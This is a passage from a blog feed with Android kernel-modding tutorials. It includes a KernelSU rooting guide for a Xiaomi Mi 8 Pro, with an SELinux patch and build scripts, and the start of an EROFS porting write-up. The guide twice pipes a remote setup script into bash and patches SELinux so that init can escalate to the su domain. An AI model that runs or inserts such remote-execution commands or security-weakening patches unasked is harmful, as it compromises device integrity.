git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1 #arm GCC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Different kernels might require different cross-compilers. Please adjust according to your specific case.&lt;/p&gt;
&lt;p&gt;:::note
When cloning the kernel source, &lt;code&gt;--depth=1&lt;/code&gt; wasn&apos;t used initially to facilitate easier cherry-picking later. If you plan to manually modify the kernel source instead of using cherry-pick, you can add this parameter to significantly reduce download time.
:::&lt;/p&gt;
&lt;h2&gt;Modify Kernel Source&lt;/h2&gt;
&lt;p&gt;Refer to the following two commits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/7862fd2c14b69a1a346b7c699f8370e2de423eef&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;commit b5853fb7cefdc8a2e160cb73512dc6b51569fa66
Author: OnlyTomInSecond &amp;lt;q2781273965@gmail.com&amp;gt;
Date:   Wed Apr 5 11:05:12 2023 +0800

    kernelsu: allow init exec ksud under nosuid

    Change-Id: I8aa6e6d3cbee1addd5da9bb48b4c08ce91f9db81

diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c
index 4abba0e1674d..693f2ac03352 100644
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -2320,7 +2320,10 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
 {
        int nnp = (bprm-&amp;gt;unsafe &amp;amp; LSM_UNSAFE_NO_NEW_PRIVS);
        int nosuid = !mnt_may_suid(bprm-&amp;gt;file-&amp;gt;f_path.mnt);
-       int rc;
+       int rc, error;
+    static u32 ksu_sid;
+       char *secdata;
+    u32 seclen;

        if (!nnp &amp;amp;&amp;amp; !nosuid)
      return 0; /* neither NNP nor nosuid */
@@ -2328,6 +2331,18 @@ static int check_nnp_nosuid(const struct linux_binprm *bprm,
        if (new_tsec-&amp;gt;sid == old_tsec-&amp;gt;sid)
      return 0; /* No change in credentials */

+    if(!ksu_sid){
+     security_secctx_to_secid(&quot;u:r:su:s0&quot;, strlen(&quot;u:r:su:s0&quot;), &amp;amp;ksu_sid);
+       }
+       error = security_secid_to_secctx(old_tsec-&amp;gt;sid, &amp;amp;secdata, &amp;amp;seclen);
+       if (!error) {
+     rc = strcmp(&quot;u:r:init:s0&quot;,secdata);
+     security_release_secctx(secdata, seclen);
+     if(rc == 0 &amp;amp;&amp;amp; new_tsec-&amp;gt;sid == ksu_sid){
+   return 0;
+     }
+       }
+
        /*
         * The only transitions we permit under NNP or nosuid
         * are transitions to bounded SIDs, i.e. SIDs that are
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/OnlyTomInSecond/android_kernel_xiaomi_sdm845/commit/81d7168f2f01e6aba0932a4787119fbc541eba58&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;commit 8bfe4d4de25650505798cba0a5a20db4b2ab7dd6
Author: OnlyTomInSecond &amp;lt;q2781273965@gmail.com&amp;gt;
Date:   Thu Oct 19 17:55:23 2023 +0800

    Kernelsu: add path_umount implementation.

    Change-Id: I3b0273e9857c51cc3215afab0d2cebe0dff38cfb

diff --git a/fs/namespace.c b/fs/namespace.c
index 21fd423b19cf..219a501337b0 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1711,6 +1711,38 @@ static inline bool may_mandlock(void)
 }
 #endif

+static int can_umount(const struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path-&amp;gt;mnt);
+
+       if (!may_mount())
+     return -EPERM;
+       if (path-&amp;gt;dentry != path-&amp;gt;mnt-&amp;gt;mnt_root)
+     return -EINVAL;
+       if (!check_mnt(mnt))
+     return -EINVAL;
+       if (mnt-&amp;gt;mnt.mnt_flags &amp;amp; MNT_LOCKED) /* Check optimistically */
+     return -EINVAL;
+       if (flags &amp;amp; MNT_FORCE &amp;amp;&amp;amp; !capable(CAP_SYS_ADMIN))
+     return -EPERM;
+       return 0;
+}
+
+// caller is responsible for flags being sane
+int path_umount(struct path *path, int flags)
+{
+       struct mount *mnt = real_mount(path-&amp;gt;mnt);
+       int ret;
+
+       ret = can_umount(path, flags);
+       if (!ret)
+     ret = do_umount(mnt, flags);
+
+       /* we mustn&apos;t call path_put() as that would clear mnt_expiry_mark */
+       dput(path-&amp;gt;dentry);
+       mntput_no_expire(mnt);
+       return ret;
+}
 /*
  * Now umount can handle mount points as well as block devices.
  * This is important for filesystems which use unnamed block devices.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Solution Source: &lt;a href=&quot;https://github.com/OnlyTomInSecond&quot;&gt;Tomsec&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Enable KPROBE Support&lt;/h2&gt;
&lt;p&gt;Open your kernel&apos;s defconfig file and add the following three lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CONFIG_KPROBES=y
CONFIG_HAVE_KPROBES=y
CONFIG_KPROBE_EVENTS=y
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Integrate KernelSU&lt;/h2&gt;
&lt;p&gt;This step is the same as the official ksu guide. Execute the following command in the kernel root directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LSs &quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh&quot; | bash -s v0.9.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning
Note: The highest version of KernelSU supporting non-GKI kernels is v0.9.5. Do not use a higher version tag, or the build will fail.
:::&lt;/p&gt;
&lt;h2&gt;Write the AnyKernel3 Script&lt;/h2&gt;
&lt;p&gt;Download &lt;a href=&quot;https://github.com/osm0sis/AnyKernel3&quot;&gt;AnyKernel3&lt;/a&gt; and modify anykernel.sh according to the README. You can refer to my repository for modifications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Repository: https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/14/anykernel.sh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Expand Code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 3b46e03e0ffdd52bbb3f51b45b0ff649a407d1a5
Author: KaguraiYoRoy &amp;lt;3363384229@qq.com&amp;gt;
Date:   Sat Sep 9 02:41:54 2023 +0000

    anykernel.sh: modify for equuleus

diff --git a/anykernel.sh b/anykernel.sh
old mode 100755
new mode 100644
index 367d29f..c950ce7
--- a/anykernel.sh
+++ b/anykernel.sh
@@ -4,23 +4,17 @@
 ### AnyKernel setup
 # global properties
 properties() { &apos;
-kernel.string=ExampleKernel by osm0sis @ xda-developers
+kernel.string=Xiaomi 8 Pro Kernel by Kagura iYoRoy @ iYoRoy Studio
 do.devicecheck=1
 do.modules=0
-do.systemless=1
+do.systemless=0
 do.cleanup=1
 do.cleanuponabort=0
-device.name1=maguro
-device.name2=toro
-device.name3=toroplus
-device.name4=tuna
-device.name5=
-supported.versions=
+device.name1=equuleus
+supported.versions=13
 supported.patchlevels=
-supported.vendorpatchlevels=
 &apos;; } # end properties

-
 ### AnyKernel install
 ## boot files attributes
 boot_attributes() {
@@ -29,7 +23,7 @@ set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
 } # end attributes

 # boot shell variables
-block=/dev/block/platform/omap/omap_hsmmc.0/by-name/boot;
+block=/dev/block/bootdevice/by-name/boot;
 is_slot_device=0;
 ramdisk_compression=auto;
 patch_vbmeta_flag=auto;
@@ -41,32 +35,26 @@ patch_vbmeta_flag=auto;
 dump_boot; # use split_boot to skip ramdisk unpack, e.g. for devices with init_boot ramdisk

 # init.rc
-backup_file init.rc;
-replace_string init.rc &quot;cpuctl cpu,timer_slack&quot; &quot;mount cgroup none /dev/cpuctl cpu&quot; &quot;mount cgroup none /dev/cpuctl cpu,timer_slack&quot;;
+#backup_file init.rc;
+#replace_string init.rc &quot;cpuctl cpu,timer_slack&quot; &quot;mount cgroup none /dev/cpuctl cpu&quot; &quot;mount cgroup none /dev/cpuctl cpu,timer_slack&quot;;

 # init.tuna.rc
-backup_file init.tuna.rc;
-insert_line init.tuna.rc &quot;nodiratime barrier=0&quot; after &quot;mount_all /fstab.tuna&quot; &quot;\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0&quot;;
-append_file init.tuna.rc &quot;bootscript&quot; init.tuna;
+#backup_file init.tuna.rc;
+#insert_line init.tuna.rc &quot;nodiratime barrier=0&quot; after &quot;mount_all /fstab.tuna&quot; &quot;\tmount ext4 /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data remount nosuid nodev noatime nodiratime barrier=0&quot;;
+#append_file init.tuna.rc &quot;bootscript&quot; init.tuna;

 # fstab.tuna
-backup_file fstab.tuna;
-patch_fstab fstab.tuna /system ext4 options &quot;noatime,barrier=1&quot; &quot;noatime,nodiratime,barrier=0&quot;;
-patch_fstab fstab.tuna /cache ext4 options &quot;barrier=1&quot; &quot;barrier=0,nomblk_io_submit&quot;;
-patch_fstab fstab.tuna /data ext4 options &quot;data=ordered&quot; &quot;nomblk_io_submit,data=writeback&quot;;
-append_file fstab.tuna &quot;usbdisk&quot; fstab;
+#backup_file fstab.tuna;
+#patch_fstab fstab.tuna /system ext4 options &quot;noatime,barrier=1&quot; &quot;noatime,nodiratime,barrier=0&quot;;
+#patch_fstab fstab.tuna /cache ext4 options &quot;barrier=1&quot; &quot;barrier=0,nomblk_io_submit&quot;;
+#patch_fstab fstab.tuna /data ext4 options &quot;data=ordered&quot; &quot;nomblk_io_submit,data=writeback&quot;;
+#append_file fstab.tuna &quot;usbdisk&quot; fstab;

 write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_boot ramdisk
 ## end boot install


-## init_boot files attributes
-#init_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# init_boot shell variables
+## init_boot shell variables
 #block=init_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -98,13 +86,7 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_
 ## end vendor_kernel_boot install


-## vendor_boot files attributes
-#vendor_boot_attributes() {
-#set_perm_recursive 0 0 755 644 $ramdisk/*;
-#set_perm_recursive 0 0 750 750 $ramdisk/init* $ramdisk/sbin;
-#} # end attributes
-
-# vendor_boot shell variables
+## vendor_boot shell variables
 #block=vendor_boot;
 #is_slot_device=1;
 #ramdisk_compression=auto;
@@ -118,4 +100,3 @@ write_boot; # use flash_boot to skip ramdisk repack, e.g. for devices with init_

 #write_boot; # use flash_boot to skip ramdisk repack, e.g. for dtb on devices with hdr v4 but no vendor_kernel_boot
 ## end vendor_boot install
-
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Compile the Kernel&lt;/h2&gt;
&lt;p&gt;It&apos;s recommended to refer to online tutorials for this step, as compilation parameter settings can vary for different kernels.&lt;br /&gt;
I&apos;ve packaged the compilation process into a shell script for reference:&lt;/p&gt;
&lt;p&gt;:::note
Please replace &lt;code&gt;$WORKSPACE&lt;/code&gt; below with your own working directory.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
ARCH=&quot;arm64&quot;
CLANG_DIR=&quot;$WORKSPACE/clang/clang-r450784d&quot; #Clang directory
CC=&quot;$CLANG_DIR/bin/clang&quot;
export PATH=&quot;$CLANG_DIR/bin:$PATH&quot;
OUT_DIR=&quot;./out&quot;
CLANG_TRIPLE=&quot;aarch64-linux-gnu-&quot;
CROSS_COMPILE=&quot;$WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-&quot; #aarch64 GCC
CROSS_COMPILE_ARM32=&quot;$WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-&quot; #arm GCC
CC_ADDITION_FLAGS=&quot;AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld&quot;
ANYKERNEL_DIR=&quot;$WORKSPACE/AnyKernel3&quot; #Location of your prepared AnyKernel3 directory

THREAD=$(nproc --all)

args=&quot;-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS&quot;

### Compile Kernel ###
echo &quot;[+]Args: $args&quot;
echo &quot;[+}Generate .config&quot;
make equuleus_user_defconfig $args #Here &apos;equuleus_user_defconfig&apos; is the defconfig file for the equuleus kernel. Replace it with your kernel&apos;s config file name.
echo &quot;[+]Begin Build&quot;
make $args
### Compilation Complete ###

### Create AnyKernel3 Zip ###
cd $WORKSPACE/sdm845/KernelSU
KSU_VERSION=&apos;v0.9.5&apos;
TARGET_KERNEL=&quot;Mi8Pro-LineageKernel-KernelSU$KSU_VERSION&quot; #Kernel filename
echo &quot;[+]KernelSU Version: $KSU_VERSION&quot;
echo &quot;[+]Target file: $TARGET_KERNEL&quot;
cd $WORKSPACE/AnyKernel3
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
cp $WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
OUTPUT_FILE=${TARGET_KERNEL}-$(date +&quot;%y.%m.%d&quot;).zip
echo &quot;[+]Output: $OUTPUT_FILE&quot;
zip -r $OUTPUT_FILE *
mv $OUTPUT_FILE $WORKSPACE
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flashing&lt;/h2&gt;
&lt;p&gt;Use a recovery like TWRP to flash the zip.&lt;/p&gt;
&lt;h1&gt;Automatically Compile the Kernel using GitHub Actions&lt;/h1&gt;
&lt;p&gt;Refer to this YAML file for workflow setup: https://github.com/iYoRoy-AOSP-Institute/AnyKernel3-equuleus/blob/13/.github/workflows/build.yml&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expand Code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: Build AnyKernel
on:
  push:
  schedule:
    - cron: &apos;0 0 * * 0&apos;

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Download
        run: |
          echo &quot;Free space:&quot;
          df -h
          cd $GITHUB_WORKSPACE
          echo &quot;[+]Install packages:&quot;
          sudo apt update
          sudo apt install zip bc bison build-essential ccache curl flex g++-multilib gcc-multilib git gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev liblz4-tool libncurses5-dev libncurses5 libsdl1.2-dev libssl-dev libwxgtk3.0-gtk3-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev make unzip python-is-python3
          echo &quot;[+]Clone dependencies:&quot;
          git clone https://github.com/KaguraiYoRoy/android_kernel_xiaomi_sdm845 -b lineage-20 sdm845
          git clone https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86 --depth=1 -b android-13.0.0_r43 clang
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9 -b android-10.0.0_r32 --depth=1
          git clone https://github.com/KaguraiYoRoy/AnyKernel3-equuleus AnyKernel3 --depth=1
      - name: Setup KernelSU
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          curl -LSs &quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh&quot; | bash -s main
      - name: Build Kernel
        run: |
          cd $GITHUB_WORKSPACE/sdm845
          ARCH=&quot;arm64&quot;
          CLANG_DIR=&quot;$GITHUB_WORKSPACE/clang/clang-r450784d&quot;
          CC=&quot;$CLANG_DIR/bin/clang&quot;
          export PATH=&quot;$CLANG_DIR/bin:$PATH&quot;
          OUT_DIR=&quot;./out&quot;
          CLANG_TRIPLE=&quot;aarch64-linux-gnu-&quot;
          CROSS_COMPILE=&quot;$GITHUB_WORKSPACE/aarch64-linux-android-4.9/bin/aarch64-linux-androidkernel-&quot;
          CROSS_COMPILE_ARM32=&quot;$GITHUB_WORKSPACE/arm-linux-androideabi-4.9/bin/arm-linux-androidkernel-&quot;
          CC_ADDITION_FLAGS=&quot;AR=llvm-ar NM=llvm-nm OBJCOPY=llvm-objcopy OBJDUMP=llvm-objdump STRIP=llvm-strip LLVM_IAS=1 LLVM=1 LD=ld.lld&quot;
          THREAD=$(nproc --all)
          ANYKERNEL_DIR=&quot;$GITHUB_WORKSPACE/AnyKernel3&quot;
          args=&quot;-j$THREAD O=$OUT_DIR ARCH=$ARCH CROSS_COMPILE=$CROSS_COMPILE CROSS_COMPILE_ARM32=$CROSS_COMPILE_ARM32 CC=$CC CLANG_TRIPLE=$CLANG_TRIPLE $CC_ADDITION_FLAGS&quot;
          echo &quot;[+]Args: $args&quot;
          echo &quot;[+}Generate .config&quot;
          make equuleus_user_defconfig $args
          echo &quot;[+]Begin Build&quot;
          make $args
      - name: Compress
        run: |
          cd $GITHUB_WORKSPACE/sdm845/KernelSU
          KSU_VERSION=`expr 10000 + \`git rev-list --count HEAD\` + 200`
          TARGET_KERNEL=&quot;Mi8Pro-LineageKernel-KernelSU$KSU_VERSION&quot;
          echo &quot;[+]KernelSU Version: $KSU_VERSION&quot;
          echo &quot;[+]Target file: $TARGET_KERNEL&quot;
          cd $GITHUB_WORKSPACE/AnyKernel3
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz .
          cp $GITHUB_WORKSPACE/sdm845/out/arch/arm64/boot/Image.gz-dtb .
          OUTPUT_FILE=${TARGET_KERNEL}-$(date +&quot;%y.%m.%d&quot;).zip
          echo &quot;[+]Output: $OUTPUT_FILE&quot;
          zip -r $OUTPUT_FILE *
          mv $OUTPUT_FILE $GITHUB_WORKSPACE
      - name: Release
        uses: softprops/action-gh-release@v1
        with:
          tag_name: Android13
          files: |
            Mi8Pro*.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;&lt;em&gt;I definitely won&apos;t tell you that the script above was also extracted from here x&lt;/em&gt;&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>记一次为Android 4.9内核的ROM启用erofs支持</title><link>https://blog.iyoroy.cn/posts/7/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/7/</guid><description>给小米 8 屏幕指纹版的 Linux 4.9 内核移植 EROFS 支持，并修改 LineageOS 设备树中的分区文件系统和 fstab，记录编译与启动时遇到的问题。</description><pubDate>Wed, 25 Dec 2024 15:26:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;众所周知，咱是老牌小米8屏幕指纹版钉子户了&lt;/s&gt;&lt;br /&gt;
咱一直想给这个机子上个erofs（关于erofs是什么请自行搜索&lt;br /&gt;
但是经过查阅得知erofs是在5.10被加入到Linux内核中的，也就是说咱4.9得手动集成&lt;/p&gt;
&lt;h1&gt;准备材料&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Android ROM源码：这里使用的是LineageOS 22.0&lt;/li&gt;
&lt;li&gt;Android Kernel源码：这里咱用的是LineageOS官方小米845内核：&lt;a href=&quot;https://github.com/LineageOS/android_kernel_xiaomi_sdm845&quot;&gt;LineageOS/android_kernel_xiaomi_sdm845&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;设备树：这里使用的是LineageOS官方设备树，包含sdm845-common部分（&lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_sdm845-common&quot;&gt;LineageOS/android_device_xiaomi_sdm845-common&lt;/a&gt;）和device-specific部分（&lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_equuleus&quot;&gt;LineageOS/android_device_xiaomi_equuleus&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;编译服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::note
注：因为咱主要是玩编译的比较多，因此这篇主要阐述的是编译ROM过程中的折腾记录
:::&lt;/p&gt;
&lt;h1&gt;开整&lt;/h1&gt;
&lt;p&gt;部署Android ROM编译环境就不说了，网上一搜一大片，把ROM源码、设备树、内核源码下载下来放到对应位置&lt;/p&gt;
&lt;h2&gt;为内核添加erofs支持&lt;/h2&gt;
&lt;p&gt;此处代码pick from ReallySnow的msm-4.9内核（谢谢ReallySnow大佬的支持！），可参考如下分支：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/ReallySnow/msm-4.9/tree/erofs&lt;/li&gt;
&lt;li&gt;https://github.com/YoriInstitute/android_kernel_xiaomi_sdm845/tree/lineage-22.0-erofs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;pick之前要先处理lz4压缩部分代码的冲突。详细Relation chain可参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://review.lineageos.org/c/LineageOS/android_kernel_xiaomi_sdm845/+/412614&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;s&gt;&lt;em&gt;咱尝试将改造提交给LineageOS官方但是很显然没被合并x&lt;/em&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;pick完更改后在内核的defconfig文件中开启erofs支持：&lt;br /&gt;
打开&lt;code&gt;$KERNEL_SOURCE/arch/arm64/configs/vendor/xiaomi/mi845_defconfig&lt;/code&gt;并添加：&lt;code&gt;CONFIG_EROFS_FS=y&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 7ae5caab2c15982b3d3821c97e2f2e6126ca1281 (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 22:49:07 2024 +0800

    arch: arm64: configs: mi845: Enable CONFIG_EROFS_FS

    Change-Id: Ie387b03bde54700d73ccf19f0baf4db62526cc8f

diff --git a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
index 7684be360d98..69ea580fdb11 100644
--- a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
+++ b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
@@ -651,3 +651,4 @@ CONFIG_SOUNDWIRE_WCD_CTRL=y
 CONFIG_WCD9XXX_CODEC_CORE=y
 CONFIG_WCD_DSP_GLINK=y
 CONFIG_WCD_SPI_AC=y
+CONFIG_EROFS_FS=y
\ No newline at end of file
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;修改分区文件系统和fstab&lt;/h2&gt;
&lt;p&gt;打开设备树中板级配置文件把要改为erofs的分区的文件系统改为&lt;code&gt;erofs&lt;/code&gt;，示例中的配置文件在&lt;code&gt;$WORKING_DIR/device/xiaomi/sdm845-common/BoardConfigCommon.mk&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 0fce86fb40ca637a8563bef6192afaea1658c881 (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 23:37:50 2024 +0800

    sdm845-common: Switch to erofs

    Change-Id: I9a8d6de4dcb79cd6bc177451ce3cbc4682748501

diff --git a/BoardConfigCommon.mk b/BoardConfigCommon.mk
index cf73d39..700592f 100644
--- a/BoardConfigCommon.mk
+++ b/BoardConfigCommon.mk
@@ -78,11 +78,11 @@ BOARD_CACHEIMAGE_PARTITION_SIZE := 268435456
 BOARD_USERDATAIMAGE_PARTITION_SIZE := 57453555712

 BOARD_CACHEIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := erofs
 BOARD_PRODUCTIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEMIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEM_EXTIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := erofs

 BOARD_FLASH_BLOCK_SIZE := 262144 # (BOARD_KERNEL_PAGESIZE * 64)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改机器fstab文件，此处在&lt;code&gt;$WORKING_DIR/device/xiaomi/equuleus/rootdir/fstab.qcom&lt;/code&gt;，将挂载文件系统改为&lt;code&gt;erofs&lt;/code&gt;，挂载参数仅保留一个&lt;code&gt;ro&lt;/code&gt;即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit d66bfc8fe722f7368ef56835d35fb88b904e10fb (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 23:40:08 2024 +0800

    equuleus: Update fstab for erofs

    Change-Id: I814eab1dd77cf2c184ebd398cc4914785bc37ad6

diff --git a/rootdir/etc/fstab.qcom b/rootdir/etc/fstab.qcom
index 7aca90a..685ec84 100644
--- a/rootdir/etc/fstab.qcom
+++ b/rootdir/etc/fstab.qcom
@@ -6,8 +6,8 @@
 system                                       /system                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 system_ext                                   /system_ext             ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 product                                      /product                ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-vendor                                       /vendor                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-odm                                          /odm                    ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
+vendor                                       /vendor                 erofs   ro                                                                                                wait,logical,first_stage_mount
+odm                                          /odm                    erofs   ro                                                                                                wait,logical,first_stage_mount
 /dev/block/bootdevice/by-name/userdata       /data                   ext4    noatime,nosuid,nodev,barrier=0,noauto_da_alloc                                                    latemount,wait,check,fileencryption=ice,quota
 /dev/block/bootdevice/by-name/modem          /vendor/firmware_mnt    vfat    ro,shortname=lower,uid=0,gid=1000,dmask=227,fmask=337,context=u:object_r:firmware_file:s0         wait
 /dev/block/bootdevice/by-name/dsp            /vendor/dsp             ext4    ro,nosuid,nodev,barrier=1                                                                         wait
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后编译并刷入，如果不出意外的话就能启动进系统了。&lt;/p&gt;
&lt;h2&gt;特别注意&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LineageOS官方对我这款机型做了动态分区改造，上述设备树的修改可能并不适用于你的机型&lt;/li&gt;
&lt;li&gt;erofs为&lt;strong&gt;只读文件系统&lt;/strong&gt;，如果后期要刷Gapps，&lt;strong&gt;请勿改造&lt;/strong&gt;&lt;code&gt;system&lt;/code&gt;、&lt;code&gt;system_ext&lt;/code&gt;、&lt;code&gt;product&lt;/code&gt;这三个分区&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;常见问题&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;开机进入fastboot：检查fstab是否修改正确&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Enabling EROFS Support for an Android ROM with Kernel 4.9</title><link>https://blog.iyoroy.cn/posts/en-7/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-7/</guid><description>Backporting EROFS to the Xiaomi Mi 8 Pro&apos;s Linux 4.9 kernel, updating the LineageOS device tree and fstab, and troubleshooting build and boot issues.</description><pubDate>Wed, 25 Dec 2024 15:26:00 GMT</pubDate><content:encoded>&lt;h1&gt;Foreword&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;As everyone knows, I&apos;m a long-standing Mi 8 Pro (Under-Screen Fingerprint Edition) holdout&lt;/s&gt;&lt;br /&gt;
I&apos;ve always wanted to port erofs to this device (please search online for what erofs is).
But after some research, I found out that erofs was merged into the Linux kernel in version 5.10, which means I have to manually integrate it into our 4.9 kernel.&lt;/p&gt;
&lt;h1&gt;Materials Needed&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Android ROM Source Code: Using LineageOS 22.0 here.&lt;/li&gt;
&lt;li&gt;Android Kernel Source Code: Using the official LineageOS kernel for Xiaomi SDM845 devices: &lt;a href=&quot;https://github.com/LineageOS/android_kernel_xiaomi_sdm845&quot;&gt;LineageOS/android_kernel_xiaomi_sdm845&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Device Tree: Using the official LineageOS device trees, which include the sdm845-common part: &lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_sdm845-common&quot;&gt;LineageOS/android_device_xiaomi_sdm845-common&lt;/a&gt; and the device-specific part: &lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_equuleus&quot;&gt;LineageOS/android_device_xiaomi_equuleus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A build server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::note
Note: Since I&apos;m primarily focused on ROM building, this article mainly documents the process within that context.
:::&lt;/p&gt;
&lt;h1&gt;Let&apos;s Start&lt;/h1&gt;
&lt;p&gt;Setting up the Android ROM build environment won&apos;t be covered here, as there are plenty of guides online. Download the ROM source, device tree, and kernel source, and place them in the correct locations.&lt;/p&gt;
&lt;h2&gt;Adding EROFS Support to the Kernel&lt;/h2&gt;
